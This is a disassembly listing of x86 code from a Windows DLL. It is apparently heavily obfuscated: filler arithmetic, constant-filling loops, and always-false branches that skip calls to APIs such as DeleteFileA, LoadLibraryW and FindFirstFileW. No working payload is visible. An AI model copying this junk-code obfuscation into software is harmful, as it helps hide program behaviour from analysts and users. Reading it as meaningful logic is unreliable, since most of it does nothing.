jne 0x1000a8a0
cmp dword [ebp - 0x18], eax
jne 0x1000a883
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x18]
jg 0x1000a883
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1000a885
mov eax, ebx
mov dword [ebp - 0x48], eax
xor ecx, ecx
mov eax, dword [ebp - 0x48]
cmp eax, 0x5de05dae
setl cl
mov dword [ebp - 0x38], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jne 0x1000a84c
mov dword [ebp - 0x20], 0x2799ac78
lea ecx, [ebp - 0xaec]
mov dword [ebp - 0x2c], 0xbbb66efe
push ebx
call fcn.10009161
xor eax, eax
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1000a8e9
push dword [ebp - 0x10]
lea ecx, [ebp - 0xaec]
call fcn.100091ce
mov dword [eax], 0xfffffffd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1000a8cb
xor eax, eax
mov dword [ebp - 0x20], 0x16
cmp dword [ebp - 0x20], 0xffffffe2
jge 0x1000a96d
jmp 0x1000a8fa
xor eax, eax
mov dword [ebp - 0x38], 0x5f0b
mov dword [ebp - 0x40], 0xd3ecf04b
mov dword [ebp - 0x4c], 0xfffffff9
push 8
mov dword [ebp - 0x40], 0xbde283bc
pop ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x4c], 0xfffffff8
mov dword [ebp - 0x10], eax
jmp 0x1000a939
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x137c], 0x5b641b44
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1000a928
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp eax, ebx
setl cl
xor eax, eax
cmp ecx, dword [ebp - 0x20]
jl 0x1000a954
cmp dword [ebp - 0x2c], eax
je 0x1000a95b
cmp dword [ebp - 0x20], eax
je 0x1000a95b
mov eax, ebx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x4c], eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe2
jl 0x1000a8f8
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x1000ab1c
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x20], eax
jmp 0x1000ab0a
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1000a9a8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2bc], 0xfffffffa
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1000a98f
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1000a9c8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf1c], 0x85869
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000a9b0
xor eax, eax
mov dword [ebp - 0x2bc], eax
jmp 0x1000aafb
mov dword [ebp - 0x1c], 0xd0127420
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x1000aaf5
or ecx, 0xffffffff
mov dword [ebp - 0x30], 0x232c2a4e
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x1000aaec
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0xaec]
push dword [ebp - 0x2bc]
call fcn.100091ce
cmp dword [eax], 0
jne 0x1000aae7
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x1000aad8
mov dword [ebp - 0x10], 0xa44bf8e1
mov dword [ebp - 0x38], 0xf5771bf3
cmp dword [ebp - 0x1c], eax
je 0x1000aa94
cmp dword [ebp - 0x2bc], 0x47fd326d
jge 0x1000aa4c
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x10]
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1000aa5c
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2b4]
xor edx, edx
sub eax, 0x9d76
cmp eax, 0x32d4
mov eax, dword [ebp - 0x10]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x1c]
imul eax, ecx, 0x41bd
test eax, eax
jne 0x1000aa8e
cmp dword [ebp - 0x38], eax
je 0x1000aa92
mov ecx, ebx
jmp 0x1000aa96
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x48]
push 0
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xf1c]
setl cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x2b8]
setl dl
xor ecx, ecx
cmp eax, edx
pop eax
setg cl
mov dword [ebp - 0x38], ecx
dec dword [ebp - 0x34]
jns 0x1000aa2a
inc dword [ebp - 0x30]
push 0xffffffffffffffff
pop ecx
cmp dword [ebp - 0x30], eax
jle 0x1000a9ff
xor eax, eax
or ecx, 0xffffffff
dec dword [ebp - 0x1c]
jns 0x1000a9e9
inc dword [ebp - 0x2bc]
cmp dword [ebp - 0x2bc], eax
jle 0x1000a9d3
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x1000a986
dec dword [ebp - 0x2c]
jns 0x1000a97b
or eax, 0xffffffff
lea ecx, [ebp - 0xaec]
mov dword [ebp - 4], eax
call fcn.100091c9
push ebx
lea ecx, [ebp - 0xb34]
call fcn.10009161
mov dword [ebp - 4], 0xd
mov eax, 0x8373b2c
mov dword [ebp - 0x20], 0x17571177
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5ec], eax
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 0x5e4], eax
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffe2
jge 0x1000ad30
push esi
lea ecx, [ebp - 0x4e4]
call fcn.10009161
mov byte [ebp - 4], 0xe
push 8
pop eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x48], 0x1cb27f08
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x10], eax
jmp 0x1000abb5
push dword [ebp - 0x10]
lea ecx, [ebp - 0x4e4]
call fcn.100091ce
mov dword [eax], 0x1479
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1000ab9e
mov eax, dword [ebp - 0x20]
xor edx, edx
mov dword [ebp - 0x18], 7
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x20]
jne 0x1000abe2
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x5ec], eax
je 0x1000abe4
mov esi, ebx
push ebx
lea ecx, [ebp - 0x4e4]
call fcn.100091ce
xor ebx, ebx
lea ecx, [ebp - 0x4e4]
cmp dword [eax], esi
sete bl
xor eax, eax
push eax
call fcn.100091ce
xor ecx, ecx
cmp ebx, dword [eax]
setle cl
cmp ecx, 7
jbe 0x1000ac6b
mov dword [ebp - 0x18], 0x15
cmp dword [ebp - 0x18], 0xfffffff3
jne 0x1000ac7b
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1000ac42
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x998], 0x4495231f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1000ac29
xor eax, eax
mov dword [ebp - 0x994], eax
jmp 0x1000ac57
mov dword [ebp - 0x48], 2
inc dword [ebp - 0x994]
cmp dword [ebp - 0x994], 3
jle 0x1000ac4a
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff3
je 0x1000ac20
jmp 0x1000ac7b
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1000ac7b
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor ebx, ebx
lea ecx, [ebp - 0x4e4]
inc ebx
push ebx
call fcn.100091ce
mov ecx, dword [ebp - 0x5ec]
xor edx, edx
cmp dword [eax], 0xfffffffc
mov eax, dword [ebp - 0x5f0]
setl dl
sub ecx, edx
add eax, ecx
cmp eax, dword [ebp - 0x20]
jl 0x1000acad
mov eax, dword [ebp - 0x5ec]
imul ecx, dword [ebp - 0x20], 0xa2464a4
xor edx, edx
mov eax, dword [ebp - 0x18]
push ebx
cmp ecx, eax
setle dl
xor eax, eax
cmp edx, 0xfffffff8
setne al
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 4
mov eax, dword [ebp - 0x5ec]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x4e4]
call fcn.100091ce
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x4e4]
mov eax, dword [ebp - 0x38]
setge dl
imul eax, edx
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0xd
call fcn.100091c9
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe2
push 2
pop esi
jl 0x1000ab73
xor eax, eax
mov dword [ebp - 0x30], 0xe83c7730
lea ecx, [ebp - 0x138c]
mov dword [ebp - 0x1c], 0xe63e3155
xorps xmm0, xmm0
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x11cc]
push eax
lea eax, [ebp - 0x11dc]
push eax
movdqu xmmword [ebp - 0x11dc], xmm0
call fcn.100091e0
lea ecx, [ebp - 0x210]
mov esi, eax
call fcn.100091dd
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x10ac]
push dword [esi]
call fcn.100091a3
mov byte [ebp - 4], 0xf
xor eax, eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], eax
jmp 0x1000ada5
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x6f4], 0xcb1a7a81
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1000ad94
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x10ac]
mov eax, dword [ebp - 0x1c]
push 2
pop esi
push esi
call fcn.100091ce
mov ecx, dword [ebp - 0x6f4]
sub ecx, dword [ebp - 0x48]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
neg eax
test eax, eax
setle cl
xor edx, edx
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x10ac]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 0xd
call fcn.100091c9
push esi
lea ecx, [ebp - 0xb04]
call fcn.10009161
mov byte [ebp - 4], 0x10
xor eax, eax
mov dword [ebp - 0x40], 0x7dc4b4e1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1000ae57
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb04]
call fcn.100091ce
mov dword [eax], 0x1852
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1000ae39
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1000ae67
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
lea ecx, [ebp - 0xb04]
call fcn.100091ce
lea ecx, [ebp - 0xb04]
dec dword [eax]
mov byte [ebp - 4], 0xd
call fcn.100091c9
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1000aeac
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb34]
call fcn.100091ce
mov dword [eax], 4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1000ae8e
xor eax, eax
push 6
mov dword [ebp - 0x18], 0xb26bdde0
mov dword [ebp - 0x18], eax
pop edx
jmp 0x1000af0b
mov dword [ebp - 0x28], 0x18d58162
mov dword [ebp - 0x48], 0xf4ffcf33
mov dword [ebp - 0x38], 0xb5486b6
cmp dword [ebp - 0x28], eax
jne 0x1000af10
cmp dword [ebp - 0x18], eax
jne 0x1000aef0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x18]
jg 0x1000aef0
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1000aef2
mov eax, ebx
mov dword [ebp - 0x48], eax
xor ecx, ecx
mov eax, dword [ebp - 0x48]
cmp eax, 0x5de05dae
push 0
setl cl
mov dword [ebp - 0x38], ecx
inc dword [ebp - 0x18]
pop eax
cmp dword [ebp - 0x18], edx
jne 0x1000aebb
mov byte [ebp - 0x39], al
push 8
mov dword [ebp - 0x40], 0xab6ec79c
pop ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1000af40
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xf4], 0x9fdf99ff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1000af28
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1000af5e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x15a8], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1000af49
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1000af7e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x139c], 0x7e08a110
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1000af66
xor eax, eax
mov dword [ebp - 0xf4], eax
jmp 0x1000b03a
mov dword [ebp - 0x10], 0xfffffff6
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1000afb0
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xea4], 0x1a0734f0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1000af98
xor eax, eax
mov dword [ebp - 0x10], esi
cmp dword [ebp - 0x10], eax
jl 0x1000b034
push ebx
lea ecx, [ebp - 0xe44]
call fcn.10009161
mov byte [ebp - 4], 0x11
xor eax, eax
mov dword [ebp - 0x40], 0x19a80bfb
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x48], 0xbdb8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1000b000
push dword [ebp - 0x18]
lea ecx, [ebp - 0xe44]
call fcn.100091ce
or ecx, 0xffffffff
mov dword [eax], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1000afe3
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1000b016
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xeb4], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1000b005
dec dword [ebp - 0x48]
lea ecx, [ebp - 0xe44]
mov byte [ebp - 4], 0xd
call fcn.100091c9
dec dword [ebp - 0x10]
jns 0x1000afb8
xor eax, eax
dec dword [ebp - 0xf4]
cmp dword [ebp - 0xf4], 0xfffffff7
jle 0x1000af89
cmp byte [ebp - 0x39], 0
je 0x1000b24e
mov dword [ebp - 0x24], 0x3b26bdde
or ecx, 0xffffffff
mov dword [ebp - 0x1c], 0x7f37c04c
mov dword [ebp - 0x40], 0x55d48264
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], 0xce95866b
mov dword [ebp - 0x40], 0xa058a13c
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], 0xf05de082
mov dword [ebp - 0x40], 0x3b3bbbb5
mov dword [ebp - 0x40], 0x73ecfb86
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], 0x5996069
mov dword [ebp - 0x40], 0xd69b12db
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], 0x2842c5ac
mov dword [ebp - 0x40], 0x3fdda784
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1000b0d9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4fc], 0x1b88146c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1000b0c0
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1000b0f5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x13ac], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000b0e1
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff1
jge 0x1000b15a
mov dword [ebp - 0x4c], 0xfb02
xor edx, edx
mov dword [ebp - 0x38], 3
mov dword [ebp - 0x48], ebx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
setne dl
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x1c], eax
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1000b14c
push eax
push 0x1112
push eax
push 0x36e
push 0x2418
push eax
push 0x2559
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff1
jl 0x1000b0fe
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x24], esi
cmp dword [ebp - 0x24], eax
jl 0x1000b24b
mov dword [ebp - 0x28], 0xcdf8abff
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], 3
mov dword [ebp - 0x48], 0x513e67dc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1000b1a7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x160c], 0xfffffffc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1000b18e
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jg 0x1000b23f
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x4fc]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x4fc]
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1000b1db
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x4fc]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x4fc]
imul eax, dword [ebp - 0x24]
imul edx, eax, 0x85f8
mov eax, dword [ebp - 0x28]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setne cl
xor edx, edx
neg ecx
cmp ecx, 0xb9e9d60a
setne dl
xor ecx, ecx
imul edx, dword [ebp + eax*4 - 0x4fc]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x4fc]
cmp eax, edx
setle cl
mov dword [ebp - 0x38], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x1000b1b3
xor eax, eax
or ecx, 0xffffffff
dec dword [ebp - 0x48]
dec dword [ebp - 0x24]
jns 0x1000b166
push eax
call edi
or eax, 0xffffffff
lea ecx, [ebp - 0xb1c]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 0x6ab2aee5
mov dword [ebp - 0x10], 0x213af72b
mov dword [ebp - 0x38], 0x1c57511e
mov dword [ebp - 0x4c], ebx
push esi
call fcn.10009161
xor eax, eax
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x10], eax
jmp 0x1000b29a
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb1c]
call fcn.100091ce
mov dword [eax], 0xd55adb51
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1000b283
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov ecx, ebx
setne dl
sub edx, dword [ebp - 0x20]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
sub ecx, eax
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1000b312
mov dword [ebp - 0x1c], 0xfffffff8
xor edx, edx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setg dl
cmp dword [ebp - 0x1c], edx
jle 0x1000b2fc
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], 0x2041
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0xb1c]
mov eax, dword [ebp - 0x4c]
push ebx
call fcn.100091ce
mov ecx, dword [ebp - 0x1c]
mov byte [ebp - 4], 0xd
mov dword [eax], ecx
lea ecx, [ebp - 0xb1c]
call fcn.100091c9
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jl 0x1000baea
mov dword [ebp - 0x20], 0x32fe
lea ecx, [ebp - 0x514]
push esi
call fcn.10009161
mov byte [ebp - 4], 0x13
xor eax, eax
mov dword [ebp - 0x48], 0xfffffffd
mov dword [ebp - 0x38], 0x5c9b8db3
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1000b399
push dword [ebp - 0x10]
lea ecx, [ebp - 0x514]
call fcn.100091ce
mov dword [eax], 0x2a276893
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1000b37b
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1000b504
mov dword [ebp - 0x20], eax
jmp 0x1000b3be
push dword [ebp - 0x20]
lea ecx, [ebp - 0x514]
call fcn.100091ce
mov dword [eax], 0xfffffff8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1000b3a7
xor edi, edi
inc edi
lea ecx, [ebp - 0x514]
mov byte [ebp - 4], 0xd
call fcn.100091c9
mov dword [ebp - 0x44], 0xbb11accb
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x10], 0xb0881dda
mov dword [ebp - 0x1c], 0x4a6b
push 8
pop ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x38], 0xfffffff7
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1000b417
push 0x164f
push eax
push eax
push 0x1e38
push eax
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
or edx, 0xffffffff
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, edx
mov edx, dword [ebp - 0x2c]
push 0xfffffffffffffff7
setne cl
sub edx, ecx
neg edx
pop eax
sbb edx, edx
inc edx
sub eax, edx
cmp eax, 0xf0ef2f37
mov eax, dword [ebp - 0x1c]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
add ecx, dword [ebp - 0x2c]
imul eax, ecx, 7
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
mov eax, dword [ebp - 0x10]
cmp ecx, eax
setl dl
imul edx, dword [ebp - 0x1c]
test edx, edx
jne 0x1000b48d
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1000b48d
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], eax
jl 0x1000bae1
mov dword [ebp - 0x34], 0xfffffffc
lea ecx, [ebp - 0x8d8]
push 3
call fcn.10009161
xor eax, eax
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1000b4f8
push dword [ebp - 0x10]
lea ecx, [ebp - 0x8d8]
call fcn.100091ce
mov dword [eax], 5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1000b4d9
xor eax, eax
mov dword [ebp - 0x34], 0x19
jmp 0x1000b6ff
push 4
lea ecx, [ebp - 0x8c0]
call fcn.10009161
xor eax, eax
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1000b53f
push dword [ebp - 0x10]
lea ecx, [ebp - 0x8c0]
call fcn.100091ce
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1000b520
xor eax, eax
xor edi, edi
mov dword [ebp - 0x20], eax
inc edi
lea ecx, [ebp - 0x514]
cmp dword [ebp - 0x20], esi
jge 0x1000b55f
push dword [ebp - 0x20]
call fcn.100091ce
mov dword [eax], edi
inc dword [ebp - 0x20]
jmp 0x1000b545
push edi
call fcn.100091ce
push edi
lea ecx, [ebp - 0x8c0]
call fcn.100091ce
push edi
lea ecx, [ebp - 0x8c0]
call fcn.100091ce
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x514]
push edi
imul esi, dword [eax]
call fcn.100091ce
mov ecx, dword [ebp - 0x20]
xor edx, edx
cmp esi, ecx
setle dl
xor ecx, ecx
cmp edx, dword [eax]
setg cl
sub ecx, 0xacd4a797
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x48], ecx
mov ecx, 0xe72c34cc
imul eax, dword [ebp - 0x48], 0xffff
cmp ecx, eax
mov ecx, 0xadc9fe9a
sbb eax, eax
inc eax
cmp ecx, eax
lea ecx, [ebp - 0x8c0]
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
call fcn.100091c9
push 2
pop esi
jmp 0x1000b3c6
mov dword [ebp - 0x90], 0xdf60
mov dword [ebp - 0x8c], 0xdf60
mov dword [ebp - 0x88], 0xdf60
mov dword [ebp - 0x84], 0xdf60
mov dword [ebp - 0x1c], 0x54fddd3f
mov dword [ebp - 0x10], 0x82d83d78
mov dword [ebp - 0x1c], 3
cmp dword [ebp - 0x1c], eax
jl 0x1000b6d5
push edi
lea ecx, [ebp - 0x40c]
call fcn.10009161
mov byte [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1000b660
push dword [ebp - 0x10]
lea ecx, [ebp - 0x40c]
call fcn.100091ce
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1000b642
xor eax, eax
push eax
lea ecx, [ebp - 0x40c]
call fcn.100091ce
xor ecx, ecx
push ecx
mov dword [eax], ecx
jmp 0x1000b69f
call fcn.100091ce
dec dword [eax]
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1000b68e
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor eax, eax
push eax
lea ecx, [ebp - 0x40c]
call fcn.100091ce
inc dword [eax]
xor eax, eax
push eax
lea ecx, [ebp - 0x40c]
call fcn.100091ce
push esi
lea ecx, [ebp - 0x8d8]
cmp dword [eax], 3
jle 0x1000b673
call fcn.100091ce
lea ecx, [ebp - 0x40c]
mov byte [ebp - 4], 0x15
call fcn.100091c9
dec dword [ebp - 0x1c]
jns 0x1000b625
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1000b6f6
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1000b6f3
push 0x1d9d
call ebx
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x14
jne 0x1000b6da
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x1b
jge 0x1000b5df
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1000b719
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea ecx, [ebp - 0x8d8]
mov byte [ebp - 4], 0xd
call fcn.100091c9
xor eax, eax
mov dword [ebp - 0x40], esi
